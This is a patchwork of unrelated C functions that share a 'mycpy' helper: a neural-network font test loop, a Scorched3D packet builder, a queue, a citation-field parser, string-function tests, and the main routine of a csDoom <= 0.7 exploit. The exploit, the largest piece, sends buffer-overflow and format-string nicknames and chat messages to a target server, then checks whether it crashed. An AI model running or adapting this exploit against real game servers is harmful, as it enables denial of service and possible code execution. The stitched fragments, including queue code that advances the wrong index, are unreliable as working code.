void testNetwork(){
struct _finddata_t files;
int File_Handle;
int right=0,i,j,check;
char test[100],tem[100],log[100];
printf("请输入您想测试的字体 \n");
scanf("%s",test);
strcat(test," test/");
printf("\n");
while (test[0]!='0'){
tem[0]='\0';
mycpy(tem,test);
strcat(test,"*.txt");
File_Handle = _findfirst(test,&files);
if(File_Handle==-1) {
printf("文件目录不存在\n\n");
printf("请输入您想测试的字体 \n");
printf("请输入您想测试的字体 \n");
scanf("%s",test);
strcat(test," test/");
printf("\n");
continue ;
}
Data = 0;
e = 0;
do{
mycpy(log,tem);
FILE *fp ;
if (files.name[0]=='c') {d_out[Data][0] = 0;d_out[Data][1] = 0;d_out[Data][2] = 0;}
if (files.name[0]=='k') {d_out[Data][0] = 0;d_out[Data][1] = 0;d_out[Data][2] = 1;}
if (files.name[0]=='l') {d_out[Data][0] = 0;d_out[Data][1] = 1;d_out[Data][2] = 0;}
if (files.name[0]=='x') {d_out[Data][0] = 0;d_out[Data][1] = 1;d_out[Data][2] = 1;}
if (files.name[0]=='z') {d_out[Data][0] = 1;d_out[Data][1] = 0;d_out[Data][2] = 0;}
strcat(log,files.name);
fp=fopen(log,"r");
for (i=0;i<216;i++) fscanf(fp,"%lf",&d_in[Data][i]);
Data++;
if (fp==NULL) printf("文件读取失败\n");
fclose(fp);
}while(0==_findnext(File_Handle,&files));
Data--;
_findclose(File_Handle);
printf("读取%d个测试样本\n",Data);
for (i=0;i<Data;i++) {
comput(i);
check=1;
for (j = 0; j < Out; ++j) if (OutputData[j]!=d_out[i][j]) check=0;
if (check!=1) e++;
}
printf("测试完成，共测试%d个样本，错误%d个，错误率%f。\n\n",Data,e,1.0*e/Data);
printf("请输入您想测试的字体 \n");
scanf("%s",test);
strcat(test," test/");
printf("\n");
continue ;
}
}
int scorched3d_build_pck(u_char *buff, u_char *cmd, ...) {
va_list ap;
int num = 0,
*pnum;
u_char *p,
*s;
p = buff;
p += mycpy(p, cmd);
pnum = (int *)p;
p += 4;
va_start(ap, cmd);
while((s = va_arg(ap, u_char *))) {
p += mycpy(p, s);
num++;
}
va_end(ap);
*pnum = htonl(num >> 1);
return(p - buff);
}
int write_one_elm(Que_t *qp, elmType *ep)
{
if (qp->status == FULL)
return -1;
mycpy((char *)(qp->buf + qp->head), (char *)ep, sizeof(elmType));
qp->tail++;
if (qp->tail == ELMSIZE)
qp->head = 0;
if (qp->head == qp->tail)
qp->status = FULL;
else
qp->status = NORMAL;
return 0;
}
int read_one_elm(Que_t *qp, elmType *ep)
{
if (qp->status == EMPTY)
return -1;
mycpy((char *)ep, (char *)(qp->buf + qp->tail), sizeof(elmType));
qp->tail++;
if (qp->tail == ELMSIZE)
qp->tail = 0;
if (qp->head == qp->tail)
qp->status = EMPTY;
else
qp->status = NORMAL;
return 0;
}
char *
fpar (int nf, char **flds, char *out, size_t outsiz __unused, int c, int seq,
int prepend)
{
char *p, *s;
int i, fnd = 0;
for(i = 0; i < nf; i++)
if (flds[i][1] == c && ++fnd >= seq) {
/* for titles use first word otherwise last */
if (c == 'T' || c == 'J') {
p = flds[i]+3;
if (prefix(p, "A "))
p += 2;
if (prefix(p, "An "))
p += 3;
if (prefix(p, "The "))
p += 4;
mycpy2(out, p, 20);
return(out);
}
/* if its not 'L' then use just the last word */
s = p = flds[i]+2;
if (c != 'L') {
for(; *p; p++);
while (p > s && *p != ' ')
p--;
}
/* special wart for authors */
if (c == 'A' && (p[-1] == ',' || p[1] =='(')) {
p--;
while (p > s && *p != ' ')
p--;
mycpy(out, p+1);
}
else
n_strcpy(out, p+1, outsiz);
if (c == 'A' && prepend)
initadd(out, flds[i]+2, p);
return(out);
}
return(0);
}
int main() {
char a[128] = "These";
char b[128] = "are";
char c[128] = "the";
char d[128] = "test";
char e[128] = "cases";
char f[128] = "car";
char g[128] = "aren";
char h[128] = "abcdefghijklmnopqrstuvwxyzzzzzzzzzzzz";
char i[128] = "cases";
char j[128] = "casesss";
char k[128] = "arent";
char l[128] = "longwords";
char m[128] = "neededlongwords";
char n[128] = "lastlongwordormaybenot";
char s[128];
char t[128];
char u[128];
char v[128];
char w[128];
char x[128];
char y[128];
char z[128];
printf("---mylen Testing---\n");
printf("Test One:\n These - - - Length: 5\n Run: %d\n", mylen(a));
printf("Test Two:\n are - - - Length: 3\n Run: %d\n", mylen(b));
printf("Test Three:\n abcdefghijklmnopqrstuvwxyz - - - Length: 26\n Run: %d\n", mylen(h));
printf("\n");
printf("---mycmp Testing---\n");
printf("Test One:\n Word 1: cases - Word 2: car\n Run: %d\n", mycmp(e, f));
printf("Test Two:\n Word 1: cases - Word 2: cases\n Run: %d\n", mycmp(e, i));
printf("Test Three:\n Word 1: are - Word 2: the\n Run: %d\n", mycmp(b, c));
printf("Test Four:\n Word 1: casesss - Word 2: cases\n Run: %d\n", mycmp(j, e));
printf("Test Five:\n Word 1: aren - Word 2: arent\n Run: %d\n", mycmp(g, k));
printf("\n");
printf("---mycpy Testing---\n");
printf("Before Copying:\n");
printf(" x: %s\n y: %s\n z: %s\n", x, y, z);
printf("Copying:\n %s --> x\n %s --> y\n %s --> z\n", h, i, j);
mycpy(x, h);
mycpy(y, i);
mycpy(z, j);
printf("After Copying:\n");
printf(" x: %s\n y: %s\n z: %s\n", x, y, z);
printf("\n");
printf("---mycpyn Testing---\n");
printf("Before Copying:\n");
printf(" s: %s\n t: %s\n u: %s\n", s, t, u);
printf("Copying:\n %s - 6 --> s\n %s - 7 --> t\n %s - 10 --> u\n", l, m, n);
mycpyn(s, l, 6);
mycpyn(t, m, 7);
mycpyn(u, n, 10);
printf("After Copying:\n");
printf(" s: %s\n t: %s\n u: %s\n", s, t, u);
printf("\n");
printf("---mycat Testing---\n");
printf("Before Catting:\n");
printf(" s: %s\n m: %s\n h: %s\n", s, m, h);
printf("Catting:\n %s --> s\n %s --> m\n %s --> h\n", h, c, d);
mycat(s, h);
mycat(m, c);
mycat(h, d);
printf("After Catting:\n");
printf(" s: %s\n m: %s\n h: %s\n", s, m, h);
printf("\n");
printf("---mycatn Testing---\n");
printf("Before Catting:\n");
printf(" s: %s\n m: %s\n h: %s\n", s, m, h);
printf("Catting:\n %s - 8 --> s\n %s - 3 --> m\n %s - 2 --> h\n", h, c, d);
mycatn(s, h, 8);
mycatn(m, c, 3);
mycatn(h, d, 2);
printf("After Catting:\n");
printf(" s: %s\n m: %s\n h: %s\n", s, m, h);
printf("\n");
printf("---mychr Testing---\n");
printf("Test One:\n Searching in: %s\n Searching for: %c\n", e, 'e');
printf(" Pointer: %p - Points at: %c\n", mychr(e,'e'), *mychr(e,'e'));
printf("Test Two:\n Searching in: %s\n Searching for: %c\n", h, 't');
printf(" Pointer: %p - Points at: %c\n", mychr(h,'t'), *mychr(h,'t'));
printf("\n");
printf("---mystr Testing---\n");
printf("Test One:\n Searching in: %s\n Searching for: %s\n", n, "long");
printf(" Pointer: %p - Points at: %s\n", mystr(n,"long"), *mystr(n,"long"));
return 0;
}
int main(int argc, char *argv[]) {
u_int seed;
int sd,
i,
len,
chall = CHALLENGE,
attack;
u_short port = PORT;
u_char buff[BUFFSZ],
*p;
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"csDoom <= 0.7 multiple vulnerabilities " VER "\n"
"by Luigi Auriemma\n"
"e-mail: [email protected]\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <attack> <host> [port(%hu)]\n"
"\n"
"Attack:\n"
" 1 = buffer-overflow in SV_BroadcastPrintf\n"
" 2 = buffer-overflow in SV_SetupUserInfo\n"
" 3 = format string in Printf\n"
"\n", argv[0], port);
exit(1);
}
attack = atoi(argv[1]);
if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
seed = time(NULL);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
printf("- query server:\n");
p = buff;
PUT32(p, LAUNCHER_CHALLENGE);
len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 1);
chall = info_proto(buff, len);
printf("- start connection:\n");
p = buff;
PUT32(p, chall);
len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 1);
if(buff[0] != S2C_CHALLENGE) {
close(sd);
if(buff[0] == S2C_FULL) {
printf("\nError: server is full\n\n");
} else {
printf("\nError: client has not been accepted (%hhu)\n\n", buff[0]);
}
exit(1);
}
p = buff;
PUT16(p, VERSION);
len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 1);
if(buff[0] != S2C_CONNECTION) {
close(sd);
printf("\nError: your client has been disconnected (wrong version?) (%hhu)\n\n", buff[0]);
exit(1);
}
p = buff;
*p++ = clc_userinfo;
if(attack == 2) { // nickname
printf("- send big nickname\n");
p += create_bof_string(p, BOFSZ1);
} else if(attack == 3) {
printf("- send formatted nickname\n");
p += mycpy(p, FORMATSTRING);
} else {
printf("- send nickname\n");
p += create_rand_string(p, 16, &seed);
}
p += create_rand_string(p, 16, &seed); // teamname
PUT32(p, seed); // rate value
if((attack == 2) || (attack == 3)) {
len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 0);
goto quit;
}
len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 1);
if(attack == 1) {
printf("- send big say message\n");
p = buff;
*p++ = clc_say;
p += create_bof_string(p, BOFSZ2);
len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 0);
}
// printf("- disconnect\n");
// p = buff;
// *p++ = clc_disconnect;
//
// len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 0);
quit:
close(sd);
printf("- wait some seconds\n");
for(i = 3; i; i--) {
printf("%d\r", i);
sleep(ONESEC);
}
printf("- check server:\n");
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
p = buff;
PUT32(p, LAUNCHER_CHALLENGE);
if(send_recv(sd, buff, p - buff, buff, sizeof(buff), 0) < 0) {
printf("\n Server IS vulnerable!!!\n\n");
} else {
printf("\n Server does not seem vulnerable\n\n");
}
close(sd);
return(0);
}
